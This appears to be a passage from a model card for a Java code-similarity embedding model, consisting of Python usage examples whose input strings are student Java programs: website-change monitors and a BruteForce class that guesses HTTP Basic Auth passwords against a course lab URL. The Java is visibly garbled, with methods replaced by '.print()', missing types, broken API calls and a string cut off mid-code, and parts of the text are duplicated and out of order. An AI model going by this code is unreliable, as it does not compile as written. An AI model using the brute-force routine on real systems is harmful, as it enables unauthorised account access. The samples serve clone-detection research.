static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      